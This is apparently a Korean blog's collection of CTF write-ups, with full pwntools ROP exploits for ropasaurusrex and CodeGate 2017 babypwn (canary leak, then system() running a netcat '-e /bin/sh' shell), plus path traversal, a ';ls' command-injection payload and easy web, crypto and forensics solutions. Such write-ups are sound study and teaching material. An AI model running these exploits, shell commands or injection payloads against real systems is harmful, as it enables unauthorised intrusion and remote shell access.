file 명령어로 문제 파일을 확인하면 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 NX 보호기법만 적용되어 있는 것을 확인할 수 있다.

바이너리를 실행하면 입력을 받고, WIN을 출력해주는 것을 확인할 수 있다.

gdb로 함수 목록을 보면 main 함수도 없어서 당황했는데, ida로는 확인할 수 있었다.

main 함수를 보면 sub_80483F4() 함수를 호출하고, write 함수로 WIN을 출력하는 것을 확인할 수 있다.

sub_80483F4(); 함수를 확인하면 다음과 같다.

크기 136의 buf 변수를 선언하고 있고, read 함수에서 buf 변수에 입력을 받고 있다. 이때 0x100(256)크기 만큼 입력을 받고 있기 때문에 bof가 발생한다. 

 

rop 기법으로 system("/bin/sh")을 실행 시켜서 쉘을 실행 시켜야 할 것 같다. 

먼저 read 함수의 plt와 got, write 함수의 plt 주소를 찾아 read 함수의 got에 system 함수의 주소를 덮어야 한다. 사용할 함수들의 plt와 got는 pwntools의 plt와 got 기능을 이용하여 구할 수 있다.

그리고 read 함수와 system 함수의 offset은 다음과 같이 구할 수 있다.

read 함수와 write 함수는 인자가 3개이기 때문에 계속 호출하기 위한 pop pop pop ret gadget은 objdump -D ./ropasaurusrex | grep -B3 ret 명령으로 구할 수 있다.  

system 함수의 인자로 들어갈 /bin/sh 문자열이 저장될 공간은 readelf -S 명령으로 헤더에서 저장할 수 있는 공간을 찾을 수 있다.

이 바이너리의 경우 .dynamic에 /bin/sh 문자열을 저장하면 될 것 같다.

위에서 구한 정보들로 rop 익스 코드를 작성하면 다음과 같다.

from pwn import *

p = process("./ropasaurusrex")
e = ELF("./ropasaurusrex")

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
sys_offset = 0x9ae70
dy = 0x08049530
pppr = 0x080484b6
binsh = "/bin/sh\x00"

pay = "A" * 140
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(dy)
pay += p32(len(binsh))

pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)

pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(len(binsh))

pay += p32(read_plt)
pay += "B" * 4
pay += p32(dy)

p.send(pay)
p.send(binsh)

read = p.recv(4)
sys = u32(read) - sys_offset

p.sendline(p32(sys))
p.interactive()

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

문제 바이너리를 file 명령어로 확인하면 리눅스 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 canary와 nx가 적용되어 있는 것을 확인할 수 있다.

ida에서 헥스레이로 main 함수를 보면 다음과 같다.

8181번 포트로 소켓통신을 하는것을 확인할 수 있다.

문제 바이너리를 실행하고 nc로 8181번 포트에 접속해보면 다음과 같다.

main 함수에서 호출하고 있는 sub_8048B87() 함수를 확인하면 다음과 같다.

이 함수에서도 3개의 함수를 호출하고 있다. 이 중 sub_8048A71 함수를 확인하면 다음과 같다.

 이 함수에서 8181번 포트에 접속했을때 출력해주던 메뉴를 출력하는 것을 확인할 수 있고, 40크기의 v2를 선언하고 있다. 그리고 sub_8048907() 함수를 v2 와 100을 인자로 넣어서 호출하고 있다. 해당 함수를 확인하면 다음과 같다.

인자로 넣은 v2와 100을 a1, a2로 하여 recv 함수로 반환하고 있다.

recv함수는 소켓으로부터 데이터를 수신하며 인자는 순서대로 연결된 소켓 디스크립터, 수신한 데이터를 저장할 위치, 수신할 크기, flag 이다. flag 가 0이면 일반 데이터를 수신한다.

위 코드의 경우 v2(a1)의 크기는 40인데 수신하는 데이터 크기는 100이므로 bof가 발생한다.

 

먼저 canary 보호기법이 적용되어 있기 때문에 canary leak을 하고, nx보호기법이 적용되어 있기 때문에 ROP를 통해 쉘을 딸 수 있을 것 같다. 

canary값은 0x00으로 끝나기 때문에 v2의 크기에서 1을 더한 41바이트를 덮어서 canary값을 가져온후 0x00을 더해준다. 이를 수행하는 코드는 다음과 같다.

p.sendlineafter('> ', '1')
p.sendafter(': ', 'A' * 41)
p.recvuntil(pay)
cnry = u32('\x00' + p.recvn(3))

이제 ROP 공격을 하기 위해 가젯을 찾아야 하는데 recv함수를 이용하려면 인자를 4개를 넣어줘야하기 때문에 pop이 4개있는 가젯을 찾으면 다음과 같다.

또한 gdb의 info func 명령으로 함수 목록을 확인해보면 다음과 같이 system 함수가 있는것을 확인할 수 있다.

이 시스템 함수를 사용하여 명령어를 실행시킬 수 있다. 실행시킬 명령어는 서버에서 nc 서버를 열어 -e 옵션으로 /bin/sh를 실행시킬 것이다.

 

익스 코드는 다음과 같다.

from pwn import *

elf = ELF("./babypwn")
ppppr = 0x08048eec
recv_plt = elf.plt["recv"]
sys_plt = elf.plt["system"]
bss = elf.bss()
sh = "nc -lvp 3000 -e /bin/sh"

p = remote("localhost", 8181)

# Canary Leak
pay = 'A' * 41

p.sendlineafter('> ', '1')
p.sendafter(': ', 'A' * 41)
p.recvuntil(pay)
cnry = u32('\x00' + p.recvn(3))
print(hex(cnry))
p.close()

# ROP
p = remote("localhost", 8181)

p.sendlineafter("> ", "1")

pay = "A" * 40
pay += p32(cnry)
pay += "A" * 12
pay += p32(recv_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(bss)
pay += p32(len(sh))
pay += p32(0)

pay += p32(sys_plt)
pay += "A" * 4
pay += p32(bss)

p.sendlineafter(": ", pay)
p.sendlineafter("> ", "3")

sleep(1)
p.sendline(sh)

코드를 실행시키고 nc로 접속하면 다음과 같이 쉘이 따진것을 확인할 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

문제 페이지에 들어가면 다음과 같은 화면이 나오고 문제 힌트를 읽어보면 바이너리를 볼수있는 방법이 필요하다고 한다. 

문제에 대한 추가적인 정보를 더 얻기 위해 robots.txt 파일을 확인해보니 /secret 라는 디렉토리가 있음을 확인할 수 있었다. /secret 디렉토리를 확인해보니 다음과 같은 페이지를 확인할 수 있었다.

 

이 페이지를 보아 directory traversal 공격을 할 수 있을 것 같았다. 

Burp Suite로 request를 잡아 /etc/passwd 파일을 확인할 수 있었다.

바이너리와 관련된 힌트가 주어졌기 때문에 현제 프로세스에서 실행중인 바이너리 파일을 볼수 있는 /proc/self/exe 경로를 확인해 보니 elf 파일을 확인할 수있었고, 파일 안의 플래그도 확인할 수 있었다.

 

flag : pbctf{n0t_re4lly_apache_ap0che!}

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

Web

[Robots. Yeah, I know, pretty obvious.]

문제를 보니 별 다른 링크는 없었고 설명에 로봇과 관련된 말들이 써 있길래 ctf 페이지의 robots.txt 파일을 확인해 봤다.

해당 파일은 존재 했고 파일에는 다음과 같은 내용들이 있었다.

저 파일들 중 /robot-nurses 파일에 들어가 보니 플래그가 있었다.

flag : rtcp{r0b0t5_4r3_g01ng_t0_t4k3_0v3r_4nd_w3_4r3_s0_scr3w3d}

 

[No Sleep]

문제 페이지에 들어가 보면 시간 카운트다운을 하고 있었다.

그리고 문제 페이지의 쿠키를 확인하면 다음과 같이 어떤 시간을 저장하고 있다.

이 시간이 웹 페이지에 나온 기다려야하는 시간 같으니 저 시간을 현재 시간으로 바꿔주면 플래그가 보인다.

flag : rtcp{w0w_d1d_u_st4y_up?}

 

[Phishing for Flags]

문제를 보면 이메일 압축 파일이 주어지는데 압축 해제하면 메일 파일들이 있다.

메일 파일들을 보면 GIVE ME BACK MY EYEHOLES 라는 파일의 링크를 들어가보면 riceteacatpanda.wtf/phishingemail 링크로 연결되는데 저 페이지 안에 플래그가 있다.

flag : rtcp{r34d_b3f0rE_yOU_C1iCk}

 

[What's in The Box?!]

문제를 보면 박스 이모티콘이 하나 있는데 그 이모티콘을 개발자모드로 확인해보면 a 태그로 javascript 코드가 연결되어 있다. 

이 javascript 코드를 잘 읽어보면 다음과 같이 주석으로 플래그가 나누어져 있다.

 

Cryptography

[Don't Give The GIANt a COOKie]

69acad26c0b7fa29d2df023b4744bf07 이 암호화된 문자열을 md5로 복호화 하면 chocolate mmm 라는 문자열이 나온다. 이 문자열을 플래그 형식으로 제출하면 된다.

flag : rtcp{chocolate mmm}

 

[15]

문제를 보면 다음과 같이 긴 문자열이 존재하고 하단에 플래그로 예측되는 문자열이 있다.

해당 문자열을 빈도분석 기법으로 해독해보면 암호를 해독할 수 있다. 빈도분석은 다음 사이트에서 온라인으로 분석할 수 있다. https://quipqiup.com/

flag : rtcp{c4R3Ful_w1tH_3X1f_d4T4}

 

[Forensics]

[BTS-Crazed]

문제 파일을 보면 음악 파일인데 HxD로 플래그 포맷인 rtcp를 검색해보면 플래그가 나온다.

 

flag : rtcp{j^cks0n_3ats_r1c3}

 

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

문제 페이지에 들어가면 ping을 보낼 수 있는 기능이 있어 8.8.8.8로 핑을 보내보니 정상적으로 보내지는 것을 확인할 수 있었다. 

이 과정에서 서버의 ping 명령어를 사용하는 것을 알 수 있었고 다중 명령어 사용을 의미라는 세미클론(;)으로 ls명령를 사용하여 서버의 파일 목록들을 확인할 수 있었다.

payload = ;ls

파일 목록을 보니 print-flag 라는 파일이 있었고, 해당 url을 입력하여 이 파일을 다운로드 할 수 있었다.

payload = http://lowdeep.insomnihack.ch/print-flag

 

다운로드한 파일을 hxd로 확인해 보니 elf 파일 이였고, 파일의 가장 끝부분을 보면 플래그를얻을 수 있었다.

flag : INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26

+ Recent posts